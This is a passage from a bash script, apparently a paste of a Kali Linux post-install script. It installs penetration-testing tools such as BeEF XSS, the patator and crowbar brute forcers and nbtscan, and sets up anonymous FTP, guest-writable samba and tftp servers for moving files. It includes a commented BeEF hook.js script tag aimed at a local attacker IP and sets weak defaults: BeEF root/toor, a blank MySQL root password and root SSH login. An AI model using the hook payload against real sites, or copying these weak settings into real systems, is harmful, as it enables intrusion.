  3278.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3279. pushd /opt/droopescan-git/ >/dev/null
  3280. git pull -q
  3281. popd >/dev/null
  3282. #--- Add to path
  3283. mkdir -p /usr/local/bin/
  3284. file=/usr/local/bin/droopescan-git
  3285. cat <<EOF > "${file}" \
  3286.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3287. #!/bin/bash
  3288.  
  3289. cd /opt/droopescan-git/ && python droopescan "\$@"
  3290. EOF
  3291. chmod +x "${file}"
  3292.  
  3293.  
  3294. ##### Install BeEF XSS
  3295. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}BeEF XSS${RESET} ~ XSS framework"
  3296. apt -y -qq install beef-xss \
  3297.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3298. #--- Configure beef
  3299. file=/usr/share/beef-xss/config.yaml; [ -e "${file}" ] && cp -n $file{,.bkup}
  3300. username="root"
  3301. password="toor"
  3302. sed -i 's/user:.*".*"/user:   "'${username}'"/' "${file}"
  3303. sed -i 's/passwd:.*".*"/passwd:  "'${password}'"/'  "${file}"
  3304. echo -e " ${YELLOW}[i]${RESET} BeEF username: ${username}"
  3305. echo -e " ${YELLOW}[i]${RESET} BeEF password: ${password}   ***${BOLD}CHANGE THIS ASAP${RESET}***"
  3306. echo -e " ${YELLOW}[i]${RESET} Edit: /usr/share/beef-xss/config.yaml"
  3307. #--- Example
  3308. #<script src="http://192.168.155.175:3000/hook.js" type="text/javascript"></script>
  3309.  
  3310.  
  3311. ##### Install patator (GIT)
  3312. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}patator${RESET} (GIT) ~ brute force"
  3313. apt -y -qq install git \
  3314.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3315. git clone -q -b master https://github.com/lanjelot/patator.git /opt/patator-git/ \
  3316.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3317. pushd /opt/patator-git/ >/dev/null
  3318. git pull -q
  3319. popd >/dev/null
  3320. #--- Add to path
  3321. mkdir -p /usr/local/bin/
  3322. file=/usr/local/bin/patator-git
  3323. cat <<EOF > "${file}" \
  3324.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3325. #!/bin/bash
  3326.  
  3327. cd /opt/patator-git/ && python patator.py "\$@"
  3328. EOF
  3329. chmod +x "${file}"
  3330.  
  3331.  
  3332. ##### Install crowbar
  3333. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}crowbar${RESET} ~ brute force"
  3334. apt -y -qq install git openvpn freerdp-x11 vncviewer \
  3335.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3336. git clone -q -b master https://github.com/galkan/crowbar.git /opt/crowbar-git/ \
  3337.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3338. pushd /opt/crowbar-git/ >/dev/null
  3339. git pull -q
  3340. popd >/dev/null
  3341. #--- Add to path
  3342. mkdir -p /usr/local/bin/
  3343. file=/usr/local/bin/crowbar-git
  3344. cat <<EOF > "${file}" \
  3345.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  3346. #!/bin/bash
  3347.  
  3348. cd /opt/crowbar-git/ && python crowbar.py "\$@"
  3349. EOF
  3350. chmod +x "${file}"
  3351.  
  3352.  
  3353. ##### Install xprobe
  3354. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}xprobe${RESET} ~ OS fingerprinting"
  3355. apt -y -qq install xprobe \
  3356.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3357.  
  3358.  
  3359. ##### Install p0f
  3360. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}p0f${RESET} ~ OS fingerprinting"
  3361. apt -y -qq install p0f \
  3362.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3363. #p0f -i eth0 -p & curl 192.168.0.1
  3364.  
  3365.  
  3366. ##### Install nbtscan ~ http://unixwiz.net/tools/nbtscan.html vs http://inetcat.org/software/nbtscan.html (see http://sectools.org/tool/nbtscan/)
  3367. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}nbtscan${RESET} (${GREEN}inetcat${RESET} & ${GREEN}unixwiz${RESET}) ~ netbios scanner"
  3368. #--- inetcat - 1.5.x
  3369. apt -y -qq install nbtscan \
  3370.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3371. #--- Examples
  3372. #nbtscan -r 192.168.0.1/24
  3373. #nbtscan -r 192.168.0.1/24 -v
  3374. #--- unixwiz - 1.0.x
  3375. mkdir -p /usr/local/src/nbtscan-unixwiz/
  3376. timeout 300 curl --progress -k -L -f "http://unixwiz.net/tools/nbtscan-source-1.0.35.tgz" > /usr/local/src/nbtscan-unixwiz/nbtscan.tgz \
  3377.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading nbtscan.tgz" 1>&2    #***!!! hardcoded version! Need to manually check for updates
  3378. tar -zxf /usr/local/src/nbtscan-unixwiz/nbtscan.tgz -C /usr/local/src/nbtscan-unixwiz/
  3379. pushd /usr/local/src/nbtscan-unixwiz/ >/dev/null
  3380. make -s clean;
  3381. make -s 2>/dev/null    # bad, I know
  3382. popd >/dev/null
  3383. #--- Add to path
  3384. mkdir -p /usr/local/bin/
  3385. ln -sf /usr/local/src/nbtscan-unixwiz/nbtscan /usr/local/bin/nbtscan-uw
  3386. #--- Examples
  3387. #nbtscan-uw -f 192.168.0.1/24
  3388.  
  3389.  
  3390. ##### Setup tftp client & server
  3391. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Setting up ${GREEN}tftp client${RESET} & ${GREEN}server${RESET} ~ file transfer methods"
  3392. apt -y -qq install tftp atftpd \
  3393.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3394. #--- Configure atftpd
  3395. file=/etc/default/atftpd; [ -e "${file}" ] && cp -n $file{,.bkup}
  3396. echo -e 'USE_INETD=false\nOPTIONS="--tftpd-timeout 300 --retry-timeout 5 --maxthread 100 --verbose=5 --daemon --port 69 /var/tftp"' > "${file}"
  3397. mkdir -p /var/tftp/
  3398. chown -R nobody\:root /var/tftp/
  3399. chmod -R 0755 /var/tftp/
  3400. #--- Setup alias
  3401. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  3402. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  3403. grep -q '^## tftp' "${file}" 2>/dev/null \
  3404.   || echo -e '## tftp\nalias tftproot="cd /var/tftp/"\n' >> "${file}"
  3405. #--- Apply new alias
  3406. source "${file}" || source ~/.zshrc
  3407. #--- Remove from start up
  3408. systemctl disable atftpd
  3409. #--- Disabling IPv6 can help
  3410. #echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6
  3411. #echo 1 > /proc/sys/net/ipv6/conf/default/disable_ipv6
  3412.  
  3413.  
  3414. ##### Install Pure-FTPd
  3415. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}Pure-FTPd${RESET} ~ FTP server/file transfer method"
  3416. apt -y -qq install pure-ftpd \
  3417.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3418. #--- Setup pure-ftpd
  3419. mkdir -p /var/ftp/
  3420. groupdel ftpgroup 2>/dev/null;
  3421. groupadd ftpgroup
  3422. userdel ftp 2>/dev/null;
  3423. useradd -r -M -d /var/ftp/ -s /bin/false -c "FTP user" -g ftpgroup ftp
  3424. chown -R ftp\:ftpgroup /var/ftp/
  3425. chmod -R 0755 /var/ftp/
  3426. pure-pw userdel ftp 2>/dev/null;
  3427. echo -e '\n' | pure-pw useradd ftp -u ftp -d /var/ftp/
  3428. pure-pw mkdb
  3429. #--- Configure pure-ftpd
  3430. echo "no" > /etc/pure-ftpd/conf/UnixAuthentication
  3431. echo "no" > /etc/pure-ftpd/conf/PAMAuthentication
  3432. echo "yes" > /etc/pure-ftpd/conf/NoChmod
  3433. echo "yes" > /etc/pure-ftpd/conf/ChrootEveryone
  3434. #echo "yes" > /etc/pure-ftpd/conf/AnonymousOnly
  3435. echo "no" > /etc/pure-ftpd/conf/NoAnonymous
  3436. echo "yes" > /etc/pure-ftpd/conf/AnonymousCanCreateDirs
  3437. echo "yes" > /etc/pure-ftpd/conf/AllowAnonymousFXP
  3438. echo "no" > /etc/pure-ftpd/conf/AnonymousCantUpload
  3439. echo "30768 31768" > /etc/pure-ftpd/conf/PassivePortRange              #cat /proc/sys/net/ipv4/ip_local_port_range
  3440. echo "/etc/pure-ftpd/welcome.msg" > /etc/pure-ftpd/conf/FortunesFile   #/etc/motd
  3441. echo "FTP" > /etc/pure-ftpd/welcome.msg
  3442. ln -sf /etc/pure-ftpd/conf/PureDB /etc/pure-ftpd/auth/50pure
  3443. #--- 'Better' MOTD
  3444. apt -y -qq install cowsay \
  3445.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3446. echo "moo" | /usr/games/cowsay > /etc/pure-ftpd/welcome.msg
  3447. echo -e " ${YELLOW}[i]${RESET} Pure-FTPd username: anonymous"
  3448. echo -e " ${YELLOW}[i]${RESET} Pure-FTPd password: anonymous"
  3449. #--- Apply settings
  3450. systemctl restart pure-ftpd
  3451. #--- Setup alias
  3452. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  3453. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  3454. grep -q '^## ftp' "${file}" 2>/dev/null \
  3455.   || echo -e '## ftp\nalias ftproot="cd /var/ftp/"\n' >> "${file}"
  3456. #--- Apply new alias
  3457. source "${file}" || source ~/.zshrc
  3458. #--- Remove from start up
  3459. systemctl disable pure-ftpd
  3460.  
  3461.  
  3462. ##### Install samba
  3463. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}samba${RESET} ~ file transfer method"
  3464. #--- Installing samba
  3465. apt -y -qq install samba \
  3466.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3467. apt -y -qq install cifs-utils \
  3468.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3469. #--- Create samba user
  3470. groupdel smbgroup 2>/dev/null;
  3471. groupadd smbgroup
  3472. userdel samba 2>/dev/null;
  3473. useradd -r -M -d /nonexistent -s /bin/false -c "Samba user" -g smbgroup samba
  3474. #--- Use the samba user
  3475. file=/etc/samba/smb.conf; [ -e "${file}" ] && cp -n $file{,.bkup}
  3476. sed -i 's/guest account = .*/guest account = samba/' "${file}" 2>/dev/null
  3477. grep -q 'guest account' "${file}" 2>/dev/null \
  3478.   || sed -i 's#\[global\]#\[global\]\n   guest account = samba#' "${file}"
  3479. #--- Setup samba paths
  3480. grep -q '^\[shared\]' "${file}" 2>/dev/null \
  3481.   || cat <<EOF >> "${file}"
  3482.  
  3483. [shared]
  3484.   comment = Shared
  3485.   path = /var/samba/
  3486.   browseable = yes
  3487.   guest ok = yes
  3488.   #guest only = yes
  3489.   read only = no
  3490.   writable = yes
  3491.   create mask = 0644
  3492.   directory mask = 0755
  3493. EOF
  3494. #--- Create samba path and configure it
  3495. mkdir -p /var/samba/
  3496. chown -R samba\:smbgroup /var/samba/
  3497. chmod -R 0755 /var/samba/
  3498. #--- Bug fix
  3499. touch /etc/printcap
  3500. #--- Check
  3501. #systemctl restart samba
  3502. #smbclient -L \\127.0.0.1 -N
  3503. #mount -t cifs -o guest //127.0.0.1/share /mnt/smb     mkdir -p /mnt/smb
  3504. #--- Disable samba at startup
  3505. systemctl stop samba
  3506. systemctl disable samba
  3507. echo -e " ${YELLOW}[i]${RESET} Samba username: guest"
  3508. echo -e " ${YELLOW}[i]${RESET} Samba password: <blank>"
  3509. #--- Setup alias
  3510. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  3511. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  3512. grep -q '^## smb' "${file}" 2>/dev/null \
  3513.   || echo -e '## smb\nalias smb="cd /var/samba/"\n#alias smbroot="cd /var/samba/"\n' >> "${file}"
  3514. #--- Apply new alias
  3515. source "${file}" || source ~/.zshrc
  3516.  
  3517.  
  3518. ##### Install apache2 & php
  3519. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}apache2${RESET} & ${GREEN}php${RESET} ~ web server"
  3520. apt -y -qq install apache2 php php-cli php-curl \
  3521.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3522. touch /var/www/html/favicon.ico
  3523. grep -q '<title>Apache2 Debian Default Page: It works</title>' /var/www/html/index.html 2>/dev/null \
  3524.   && rm -f /var/www/html/index.html \
  3525.   && echo '<?php echo "Access denied for " . $_SERVER["REMOTE_ADDR"]; ?>' > /var/www/html/index.php \
  3526.   && echo -e 'User-agent: *n\Disallow: /\n' > /var/www/html/robots.txt
  3527. #--- Setup alias
  3528. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  3529. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  3530. grep -q '^## www' "${file}" 2>/dev/null \
  3531.   || echo -e '## www\nalias wwwroot="cd /var/www/html/"\n' >> "${file}"
  3532. #--- Apply new alias
  3533. source "${file}" || source ~/.zshrc
  3534.  
  3535.  
  3536. ##### Install mysql
  3537. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}MySQL${RESET} ~ database"
  3538. apt -y -qq install mysql-server \
  3539.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3540. echo -e " ${YELLOW}[i]${RESET} MySQL username: root"
  3541. echo -e " ${YELLOW}[i]${RESET} MySQL password: <blank>   ***${BOLD}CHANGE THIS ASAP${RESET}***"
  3542. [[ -e ~/.my.cnf ]] \
  3543.   || cat <<EOF > ~/.my.cnf
  3544. [client]
  3545. user=root
  3546. host=localhost
  3547. password=
  3548. EOF
  3549.  
  3550.  
  3551. ##### Install rsh-client
  3552. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}rsh-client${RESET} ~ remote shell connections"
  3553. apt -y -qq install rsh-client \
  3554.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3555.  
  3556.  
  3557. ##### Install sshpass
  3558. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}sshpass${RESET} ~ automating SSH connections"
  3559. apt -y -qq install sshpass \
  3560.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3561.  
  3562.  
  3563. ##### Install DBeaver
  3564. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}DBeaver${RESET} ~ GUI DB manager"
  3565. apt -y -qq install curl \
  3566.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3567. arch="i386"
  3568. [[ "$(uname -m)" == "x86_64" ]] && arch="amd64"
  3569. timeout 300 curl --progress -k -L -f "http://dbeaver.jkiss.org/files/dbeaver-ce_latest_${arch}.deb" > /tmp/dbeaver.deb \
  3570.   || echo -e ' '${RED}'[!]'${RESET}" Issue downloading dbeaver.deb" 1>&2   #***!!! hardcoded version! Need to manually check for updates
  3571. if [ -e /tmp/dbeaver.deb ]; then
  3572.   dpkg -i /tmp/dbeaver.deb
  3573.   #--- Add to path
  3574.   mkdir -p /usr/local/bin/
  3575.   ln -sf /usr/share/dbeaver/dbeaver /usr/local/bin/dbeaver
  3576. fi
  3577.  
  3578.  
  3579. ##### Install ashttp
  3580. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ashttp${RESET} ~ terminal via the web"
  3581. apt -y -qq install git \
  3582.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3583. git clone -q -b master https://github.com/JulienPalard/ashttp.git /opt/ashttp-git/ \
  3584.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3585. pushd /opt/ashttp-git/ >/dev/null
  3586. git pull -q
  3587. popd >/dev/null
  3588.  
  3589.  
  3590. ##### Install gotty
  3591. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}gotty${RESET} ~ terminal via the web"
  3592. apt -y -qq install git \
  3593.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3594. git clone -q -b master https://github.com/yudai/gotty.git /opt/gotty-git/ \
  3595.   || echo -e ' '${RED}'[!] Issue when git cloning'${RESET} 1>&2
  3596. pushd /opt/gotty-git/ >/dev/null
  3597. git pull -q
  3598. popd >/dev/null
  3599.  
  3600.  
  3601. ##### Preparing a jail ~ http://allanfeid.com/content/creating-chroot-jail-ssh-access // http://www.cyberciti.biz/files/lighttpd/l2chroot.txt
  3602. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Preparing up a ${GREEN}jail${RESET} ~ testing environment"
  3603. apt -y -qq install debootstrap curl \
  3604.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3605.  
  3606.  
  3607. ##### Setup SSH
  3608. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Setting up ${GREEN}SSH${RESET} ~ CLI access"
  3609. apt -y -qq install openssh-server \
  3610.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3611. #--- Wipe current keys
  3612. rm -f /etc/ssh/ssh_host_*
  3613. find ~/.ssh/ -type f ! -name authorized_keys -delete 2>/dev/null
  3614. #--- Generate new keys
  3615. ssh-keygen -b 4096 -t rsa1 -f /etc/ssh/ssh_host_key -P "" >/dev/null
  3616. ssh-keygen -b 4096 -t rsa -f /etc/ssh/ssh_host_rsa_key -P "" >/dev/null
  3617. ssh-keygen -b 1024 -t dsa -f /etc/ssh/ssh_host_dsa_key -P "" >/dev/null
  3618. ssh-keygen -b 521 -t ecdsa -f /etc/ssh/ssh_host_ecdsa_key -P "" >/dev/null
  3619. ssh-keygen -b 4096 -t rsa -f ~/.ssh/id_rsa -P "" >/dev/null
  3620. #--- Change MOTD
  3621. apt -y -qq install cowsay \
  3622.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  3623. echo "Moo" | /usr/games/cowsay > /etc/motd
  3624. #--- Change SSH settings
  3625. file=/etc/ssh/sshd_config; [ -e "${file}" ] && cp -n $file{,.bkup}
  3626. sed -i 's/^PermitRootLogin .*/PermitRootLogin yes/g' "${file}"      # Accept password login (overwrite Debian 8+'s more secure default option...)
  3627. sed -i 's/^#AuthorizedKeysFile /AuthorizedKeysFile /g' "${file}"    # Allow for key based login
  3628. #sed -i 's/^Port .*/Port 2222/g' "${file}"
  3629. #--- Enable ssh at startup
  3630. #systemctl enable ssh
  3631. #--- Setup alias (handy for 'zsh: correct 'ssh' to '.ssh' [nyae]? n')
  3632. file=~/.bash_aliases; [ -e "${file}" ] && cp -n $file{,.bkup}   #/etc/bash.bash_aliases
  3633. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  3634. grep -q '^## ssh' "${file}" 2>/dev/null \
  3635.   || echo -e '## ssh\nalias ssh-start="systemctl restart ssh"\nalias ssh-stop="systemctl stop ssh"\n' >> "${file}"
  3636. #--- Apply new alias
  3637. source "${file}" || source ~/.zshrc
  3638.  
  3639.  
  3640.  
  3641. ##### Custom insert point
  3642.  
  3643.  
  3644.  
  3645. ##### Clean the system
  3646. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) ${GREEN}Cleaning${RESET} the system"
  3647. #--- Clean package manager
  3648. for FILE in clean autoremove; do apt -y -qq "${FILE}"; done
  3649. apt -y -qq purge $(dpkg -l | tail -n +6 | egrep -v '^(h|i)i' | awk '{print $2}')   # Purged packages
  3650. #--- Update slocate database
  3651. updatedb
  3652. #--- Reset folder location
  3653. cd ~/ &>/dev/null
  3654. #--- Remove any history files (as they could contain sensitive info)
  3655. history -cw 2>/dev/null
  3656. for i in $(cut -d: -f6 /etc/passwd | sort -u); do
  3657.   [ -e "${i}" ] && find "${i}" -type f -name '.*_history' -delete
  3658. done
  3659.  
  3660.  
  3661. ##### Time taken
  3662. finish_time=$(date +%s)
  3663. echo -e "\n\n ${YELLOW}[i]${RESET} Time (roughly) taken: ${YELLOW}$(( $(( finish_time - start_time )) / 60 )) minutes${RESET}"
  3664. echo -e " ${YELLOW}[i]${RESET} Stages skipped: $(( TOTAL-STAGE ))"
  3665.  
  3666.  
  3667. #-Done-----------------------------------------------------------------#
  3668.  
  3669.  
  3670. ##### Done!
  3671. echo -e "\n ${YELLOW}[i]${RESET} Don't forget to:"
  3672. echo -e " ${YELLOW}[i]${RESET} + Check the above output (Did everything install? Any errors? (${RED}HINT: What's in RED${RESET}?)"
  3673. echo -e " ${YELLOW}[i]${RESET} + Manually install: Nessus, Nexpose, and/or Metasploit Community"
  3674. echo -e " ${YELLOW}[i]${RESET} + Agree/Accept to: Maltego, OWASP ZAP, w3af, PyCharm, etc"
  3675. echo -e " ${YELLOW}[i]${RESET} + Setup git:   ${YELLOW}git config --global user.name <name>;git config --global user.email <email>${RESET}"
  3676. echo -e " ${YELLOW}[i]${RESET} + ${BOLD}Change default passwords${RESET}: PostgreSQL/MSF, MySQL, OpenVAS, BeEF XSS, etc"
  3677. echo -e " ${YELLOW}[i]${RESET} + ${YELLOW}Reboot${RESET}"
  3678. (dmidecode | grep -iq virtual) \
  3679.   && echo -e " ${YELLOW}[i]${RESET} + Take a snapshot   (Virtual machine detected)"
  3680.  
  3681. echo -e '\n'${BLUE}'[*]'${RESET}' '${BOLD}'Done!'${RESET}'\n\a'
  3682. exit 0
RAW Paste Data